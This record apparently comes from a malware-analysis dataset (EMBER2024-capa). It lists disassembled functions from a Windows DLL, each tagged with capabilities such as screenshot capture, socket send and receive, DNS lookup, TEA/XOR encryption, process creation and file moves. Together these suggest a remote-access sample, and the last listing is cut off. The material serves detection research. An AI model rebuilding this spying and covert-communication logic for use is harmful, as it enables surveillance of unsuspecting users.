joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180009450
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x690
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rsp + 0x6a8], rbx
mov rax, qword [0x1800370e0]
xor rax, rsp
mov qword [rsp + 0x680], rax
mov rbx, rcx
mov qword [rsp + 0x58], rcx
mov dword [rsp + 0x20], 0
xor edx, edx
mov r8d, 0x604
lea rcx, [rsp + 0x70]
call fcn.180012a30
mov edx, 0x5b4
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rdx, [0x180030ef4]
lea rcx, [rsp + 0x70]
call fcn.180010914
test rax, rax
je 0x1800094c8
mov byte [rax + 1], 0
lea rcx, [0x180037078]
mov rax, qword [0x180037078]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbx], rax
mov dword [rsp + 0x20], 1
lea rdx, str.y_wgEdTMBpZqpBb3XPSe61STw4HC2v4
lea rcx, [rsp + 0x68]
call fcn.180001310
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.18000e7b0
nop
mov r9, qword [rax]
lea r8, [rsp + 0x70]
lea rdx, str._s_s
mov rcx, rbx
call fcn.180002450
nop
mov rdx, qword [rsp + 0x38]
add rdx, 0xffffffffffffffe8
or edi, 0xffffffff
mov eax, edi
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180009541
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
xor edx, edx
mov rcx, qword [rbx]
call fcn.1800109ec
test eax, eax
je 0x1800095a5
lea rdx, str._ZkULXLO_nuyzvuRFBObia8I9XJYdmXa25gcmkiDyBH7KASbPUPy1kPvqgURm
lea rcx, [rsp + 0x50]
call fcn.180001310
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.18000e7b0
nop
mov r9, qword [rax]
lea r8, [rsp + 0x70]
lea rdx, str._s_s
mov rcx, rbx
call fcn.180002450
nop
mov rdx, qword [rsp + 0x28]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
dec edi
test edi, edi
jg 0x1800095fa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x1800095fa
lea rdx, str.FDmQri00hIb6qUtXbsYuvVPL60DaZQIDqMCv9cSNiUglm2EUupVqw
lea rcx, [rsp + 0x60]
call fcn.180001310
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.18000e7b0
nop
mov r9, qword [rax]
lea r8, [rsp + 0x70]
lea rdx, str._s_s
mov rcx, rbx
call fcn.180002450
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
dec edi
test edi, edi
jg 0x1800095fa
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
mov rcx, qword [rbx]
sub rcx, 0x18
call fcn.1800013c0
add rax, 0x18
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x40]
call fcn.18000b060
mov rax, rbx
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.180010130
mov rbx, qword [rsp + 0x6a8]
add rsp, 0x690
pop rdi
ret
Function at 0x180009720
Capabilities:
Capture screenshot

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rsi, rcx
lea rcx, str.DISPLAY
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.GDI32.dll_CreateDCA]
mov rcx, rax
mov rbp, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r8d, dword [rsi + 0x3c]
mov edx, dword [rsi + 0x38]
mov rcx, rbp
mov rdi, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [rsi + 0x3c]
mov r9d, dword [rsi + 0x38]
mov dword [rsp + 0x40], 0xcc0020
mov rbx, rax
xor eax, eax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], ecx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.GDI32.dll_BitBlt]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rcx, rbp
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x18000b000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov qword [rsp + 0x30], rdi
mov rdi, rcx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x18000b027
test al, 0x10
je 0x18000b027
mov ebx, 1
jmp 0x18000b029
xor ebx, ebx
mov rdx, qword [rdi]
sub rdx, 0x18
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
mov rdi, qword [rsp + 0x30]
dec ecx
test ecx, ecx
jg 0x18000b04d
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x18000b460
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
sub rsp, 0xe8
xor edx, edx
mov dword [rax - 0x78], 0x68
mov qword [rax - 0x3c], 1
mov qword [rax - 0x70], rdx
mov qword [rax - 0x30], rdx
mov qword [rax - 0x68], rdx
mov qword [rax - 0x60], rdx
mov qword [rax - 0x58], rdx
mov dword [rax - 0x40], edx
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edx
mov rdx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18000b502
mov rcx, qword [rsp + 0x50]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0xe8
ret
xor eax, eax
add rsp, 0xe8
ret

Function at 0x18000b810
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rdx
xor edx, edx
mov rdi, rcx
lea r8d, [rdx + 2]
mov rcx, rsi
call fcn.1800121dc
mov rcx, rsi
call fcn.180011d6c
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov dword [rdi], eax
call fcn.1800121dc
mov ecx, dword [rdi]
inc ecx
call fcn.18000fddc
mov ecx, dword [rdi]
mov r9, rsi
mov byte [rcx + rax], 0
mov r8d, dword [rdi]
mov edx, 1
mov rcx, rax
mov rbx, rax
call fcn.180011b94
mov rcx, rsi
call fcn.18001118c
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x18000b890
Capabilities:
Read .ini file

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x468
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov rax, qword [0x1800370e0]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rdi, r9
mov rsi, r8
mov rbx, rdx
mov rbp, rcx
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x30], 0
mov byte [rsp + 0x50], 0
xor edx, edx
mov r8d, 0x3ff
lea rcx, [rsp + 0x51]
call fcn.180012a30
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x400
lea r9, [rsp + 0x50]
mov r8, rsi
mov rdx, rbx
lea rcx, str.para
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rcx, [0x180037078]
mov rax, qword [0x180037078]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp], rax
lea rcx, [rsp + 0x50]
lea rax, [rsp + 0x50]
test rax, 0xffffffffffff0000
jne 0x18000b959
movzx edi, cx
mov ecx, edi
call fcn.180001110
test rax, rax
je 0x18000b957
mov r8d, edi
mov rdx, rax
mov rcx, rbp
call fcn.180001450
nop
jmp 0x18000b97b
jmp 0x18000b97b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [rsp + 0x50]
mov rcx, rbp
call fcn.180001590
nop
mov rax, rbp
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.180010130
add rsp, 0x468
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18000c2f0
Capabilities:
Resolve dns

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x80
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rsp + 0xb0], rbx
mov rax, qword [0x1800370e0]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rbp, rdx
mov rbx, rcx
mov dword [rsp + 0x20], 0
xor eax, eax
or rsi, 0xffffffffffffffff
mov rcx, rsi
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
dec rcx
jne 0x18000c353
lea rdx, [0x180030830]
mov rcx, rbx
call fcn.180001310
jmp 0x18000c40e
lea rcx, [rsp + 0x20]
call fcn.18000c170
nop
mov rax, qword [rsp + 0x20]
cmp dword [rax - 0x10], 0
je 0x18000c37b
lea rcx, [rax - 0x18]
call fcn.1800013c0
add rax, 0x18
mov qword [rbx], rax
jmp 0x18000c3f1
mov byte [rsp + 0x30], 0
xor eax, eax
mov qword [rsp + 0x31], rax
mov qword [rsp + 0x39], rax
mov qword [rsp + 0x41], rax
mov qword [rsp + 0x49], rax
mov qword [rsp + 0x51], rax
mov qword [rsp + 0x59], rax
mov qword [rsp + 0x61], rax
mov dword [rsp + 0x69], eax
mov word [rsp + 0x6d], ax
mov byte [rsp + 0x6f], al
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x18000c3e3
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
lea rdx, [0x180031084]
lea rcx, [rsp + 0x30]
call fcn.18001140c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.180001310
nop
mov rdx, qword [rsp + 0x20]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], esi
dec esi
test esi, esi
jg 0x18000c40e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, rbx
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.180010130
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret

Function at 0x18000c440
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
mov rbx, rcx
mov ecx, dword [rcx]
mov rbp, r8
mov rdi, rdx
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rbx + 4]
mov esi, eax
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi]
mov ebx, eax
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi + 4]
mov r12d, eax
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi + 8]
mov r13d, eax
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi + 0xc]
mov r14d, eax
call qword [sym.imp.WS2_32.dll_ntohl]
mov r9d, reloc.WS2_32.dll_recv
mov r11d, eax
mov r8d, 0xe3779b90
nop word [rax + rax]
lea eax, [r8 + rsi]
mov edx, esi
mov ecx, esi
shl ecx, 4
shr edx, 5
add ecx, r14d
add edx, r11d
xor edx, ecx
xor edx, eax
sub ebx, edx
mov ecx, ebx
mov eax, ebx
shr ecx, 5
shl eax, 4
add ecx, r13d
add eax, r12d
xor ecx, eax
lea eax, [r8 + rbx]
add r8d, 0x61c88647
xor ecx, eax
sub esi, ecx
dec r9d
jne 0x18000c4c0
mov ecx, esi
call qword [sym.imp.WS2_32.dll_htonl]
mov ecx, ebx
mov dword [rbp], eax
call qword [sym.imp.WS2_32.dll_htonl]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
mov dword [rbp + 4], eax
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
Function at 0x18000ed10
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], r8
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbp
mov edi, r9d
mov r14, r8
mov rbx, rdx
mov rsi, rcx
xor ebp, ebp
lea rcx, [0x180037078]
mov rax, qword [0x180037078]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x20], rbx
mov r9, qword [r14]
mov r8d, edi
lea rdx, str._u_t_s_t_s
lea rcx, [rsp + 0x30]
call fcn.180002450
mov rbx, qword [rsp + 0x30]
mov edi, dword [rbx - 0x10]
lea r12d, [rdi + 4]
mov ecx, r12d
call fcn.18000fddc
mov r13, rax
mov dword [rax], edi
mov r8d, edi
lea rcx, [rax + 4]
mov rdx, rbx
call fcn.180010360
mov r8d, r12d
mov rdx, r13
cmp dword [rsi + 8], ebp
je 0x18000edba
xor r9d, r9d
mov rcx, qword [rsi + 0x20]
call qword [sym.imp.WS2_32.dll_send]
jmp 0x18000edc2
mov ecx, dword [rsi + 0x20]
call fcn.1800037a0
cmp eax, r12d
jne 0x18000edce
mov ebp, 1
jmp 0x18000edff
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18000edfb
cmp dword [rsi + 8], 0
je 0x18000edf4
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rsi + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18000edfb
mov ecx, ecx
call fcn.180002d80
mov qword [rsi + 0x20], rbp
mov rcx, r13
call fcn.18001010c
nop
lea rdx, [rbx - 0x18]
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18000ee26
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [r14]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
dec ebx
test ebx, ebx
jg 0x18000ee42
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
mov eax, ebp
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x18000ee60
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
mov rbx, rcx
cmp r8d, 0x1e00000
jae 0x18000ef62
cmp qword [rcx + 0x10], 0
mov qword [rsp + 0x30], rsi
jne 0x18000eea5
lea eax, [rdi + 0x400]
mov dword [rcx + 0x18], eax
mov ecx, eax
call fcn.18000fddc
mov qword [rbx + 0x10], rax
lea esi, [rdi + 4]
cmp esi, dword [rbx + 0x18]
jbe 0x18000eecf
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x18000eebb
call fcn.18001010c
lea eax, [rdi + 0x400]
mov ecx, eax
mov dword [rbx + 0x18], eax
call fcn.18000fddc
mov qword [rbx + 0x10], rax
mov rax, qword [rbx + 0x10]
mov r8, rdi
mov rdx, rbp
mov dword [rax], edi
mov rcx, qword [rbx + 0x10]
add rcx, 4
call fcn.180010360
cmp dword [rbx + 8], 0
mov rdx, qword [rbx + 0x10]
mov r8d, esi
je 0x18000ef04
mov rcx, qword [rbx + 0x20]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
jmp 0x18000ef0c
mov ecx, dword [rbx + 0x20]
call fcn.1800037a0
cmp eax, esi
mov rsi, qword [rsp + 0x30]
je 0x18000ef74
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x18000ef5a
cmp dword [rbx + 8], 0
je 0x18000ef53
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbx + 0x20], 0
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov ecx, ecx
call fcn.180002d80
mov qword [rbx + 0x20], 0
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov eax, 1
add rsp, 0x20
pop rdi
ret

Function at 0x18000ef90
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp dword [rcx + 8], 0
mov rbp, rdx
mov rdi, rcx
je 0x18000f000
xor ebx, ebx
mov esi, 8
nop word [rax + rax]
mov rcx, qword [rdi + 0x20]
mov edx, ebx
xor r9d, r9d
add rdx, rbp
mov r8d, esi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x18000efee
add ebx, eax
cmp ebx, 8
jae 0x18000efe4
sub esi, eax
jne 0x18000efc0
mov eax, 1
jmp 0x18000f076
mov rcx, rdi
call fcn.18000f090
jmp 0x18000f074
mov eax, dword [rdi + 0x20]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], eax
call fcn.180002f10
test rax, rax
je 0x18000f041
mov rdx, rbp
mov rcx, rax
call fcn.180005a60
lea rcx, [rsp + 0x30]
mov ebx, eax
call fcn.180002fc0
cmp ebx, 8
je 0x18000efe4
test ebx, ebx
jne 0x18000f041
lea ecx, [rbx + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000f000
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x18000f06e
cmp dword [rdi + 8], 0
je 0x18000f067
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rdi + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18000f06e
mov ecx, ecx
call fcn.180002d80
xor ebx, ebx
mov qword [rdi + 0x20], rbx
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x18000f500
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov edi, edx
mov rbx, rcx
lea eax, [rdi - 4]
cmp eax, 1
jge 0x18000f519
or r9d, 0xffffffff
jmp 0x18000f569
xor r9d, r9d
xor r10d, r10d
movsxd r11, eax
test eax, eax
je 0x18000f566
mov qword [rsp + 0x10], rsi
lea rsi, [0x180030840]
nop word [rax + rax]
movsx ecx, byte [rbx + r10 + 4]
mov eax, r9d
inc r10
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r9d, dword [rsi + rdx*4]
xor r9d, eax
cmp r10, r11
jne 0x18000f540
mov rsi, qword [rsp + 0x10]
not r9d
cmp r9d, dword [r8]
je 0x18000f577
xor eax, eax
mov rbx, qword [rsp + 0x18]
pop rdi
ret
mov eax, dword [r8 + 0x24]
mov edx, 1
test eax, eax
je 0x18000f5a0
lea rcx, [rax + 0x30]
cmp rcx, rdi
jne 0x18000f59e
lea rax, [rbx + 0x30]
mov qword [r8 + 0x28], rax
mov eax, edx
mov rbx, qword [rsp + 0x18]
pop rdi
ret
xor edx, edx
mov eax, edx
mov rbx, qword [rsp + 0x18]
pop rdi
ret

Function at 0x18000f5b0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov eax, dword [rcx + 0x24]
mov dword [rcx + 4], r9d
mov rsi, rcx
add eax, 0x50
mov ebx, r8d
mov rbp, rdx
mov ecx, eax
mov dword [rdx], eax
call fcn.18000fddc
mov r9d, dword [rsi + 4]
mov dword [rax + 4], r9d
mov edx, dword [rsi + 8]
mov rdi, rax
mov dword [rax + 8], edx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0xc], ecx
mov ecx, dword [rsi + 0x10]
mov dword [rax + 0x10], ecx
mov ecx, dword [rsi + 0x14]
mov dword [rax + 0x14], ecx
mov ecx, dword [rsp + 0x50]
mov dword [rsi + 0x18], ecx
mov dword [rax + 0x18], ecx
mov eax, dword [rsi + 0x1c]
mov dword [rdi + 0x1c], eax
mov dword [rsi + 0x20], ebx
mov dword [rdi + 0x20], ebx
mov eax, dword [rsi + 0x24]
mov dword [rdi + 0x24], eax
xor eax, eax
lea r9d, [rax + 0x30]
mov qword [rdi + 0x28], rax
mov eax, dword [rsi + 0x24]
test eax, eax
je 0x18000f648
mov rdx, qword [rsi + 0x28]
lea rcx, [rdi + 0x30]
mov r8d, eax
call fcn.180010360
mov r9d, dword [rsi + 0x24]
add r9d, 0x30
lea eax, [r9 - 4]
cmp eax, 1
jge 0x18000f656
or edx, 0xffffffff
jmp 0x18000f691
xor edx, edx
movsxd r10, eax
mov r8d, edx
test eax, eax
je 0x18000f68f
lea r11, [0x180030840]
nop dword [rax]
movsx ecx, byte [rdi + r8 + 4]
mov eax, edx
shr edx, 8
xor rcx, rax
inc r8
movzx eax, cl
mov eax, dword [r11 + rax*4]
xor edx, eax
cmp r8, r10
jne 0x18000f670
not edx
mov rbx, qword [rsp + 0x30]
mov dword [rsi], edx
mov rsi, qword [rsp + 0x40]
mov dword [rdi], edx
mov dword [rbp], r9d
mov rbp, qword [rsp + 0x38]
mov rax, rdi
add rsp, 0x20
pop rdi
ret
Function at 0x18001096c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, edx
test rcx, rcx
jne 0x180010996
call fcn.180012ee8
and dword [rax], 0
call fcn.180012ec8
mov ebx, reloc.WS2_32.dll_shutdown
mov dword [rax], ebx
call fcn.180012e60
mov eax, ebx
jmp 0x1800109e6
test edx, 0xfffffff9
jne 0x180010979
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1800109bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.180012f08
call fcn.180012ec8
mov eax, dword [rax]
jmp 0x1800109e6
test al, 0x10
jne 0x1800109e4
test al, 1
je 0x1800109e4
test bl, 2
je 0x1800109e4
call fcn.180012ee8
mov dword [rax], 5
call fcn.180012ec8
mov dword [rax], recvfrom
jmp 0x1800109b6
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x180010c18
Capabilities:
Move file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x180010c2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180010c30
xor eax, eax
test eax, eax
je 0x180010c40
mov ecx, eax
call fcn.180012f08
or eax, 0xffffffff
jmp 0x180010c42
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012bc3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1800370e0]
jne 0x18001014a
rol rcx, 0x10
test cx, 0xffff
jne 0x180010146
repz ret
ror rcx, 0x10
jmp 0x180012b1c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180038c50]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180038d48]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180012ba1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180038c50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180012bc3
mov rax, qword [rsp + 0x88]
mov qword [0x180038d48], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180038ce8], rax
mov rax, qword [0x180038d48]
mov qword [0x180038bc0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180038cd0], rax
mov dword [0x180038bb0], 0xc0000409
mov dword [0x180038bb4], 1
mov rax, qword [0x1800370e0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1800370e8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180038c48], eax
mov ecx, 1
call fcn.18001b230
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18002b7f0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180038c48], 0
jne 0x180012c4a
mov ecx, 1
call fcn.18001b230
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x18001b604
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1800370e0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180015c04
xor ebx, ebx
cmp qword [0x180039ca8], rbx
mov rdi, rax
jne 0x18001b717
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x18001b7ee
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18001b7ee
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180039ca8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180039cb0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180039cb8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180039cc8], rax
test rax, rax
je 0x18001b70e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180039cc0], rax
jmp 0x18001b71e
mov rax, qword [0x180039cc0]
jmp 0x18001b725
mov rax, qword [0x180039cc0]
mov r11, qword [0x180039cc8]
cmp rax, rdi
je 0x18001b78c
cmp r11, rdi
je 0x18001b78c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180039cc8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x18001b78c
test rax, rax
je 0x18001b78c
call rsi
test rax, rax
je 0x18001b786
lea rcx, [rsp + 0x30]
mov r9d, reloc.WS2_32.dll_inet_ntoa
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18001b786
test byte [rsp + 0x40], 1
jne 0x18001b78c
bts ebp, 0x15
jmp 0x18001b7cc
mov rcx, qword [0x180039cb0]
cmp rcx, rdi
je 0x18001b7cc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18001b7cc
call rax
mov rbx, rax
test rax, rax
je 0x18001b7cc
mov rcx, qword [0x180039cb8]
cmp rcx, rdi
je 0x18001b7cc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18001b7cc
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180039ca8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18001b7ee
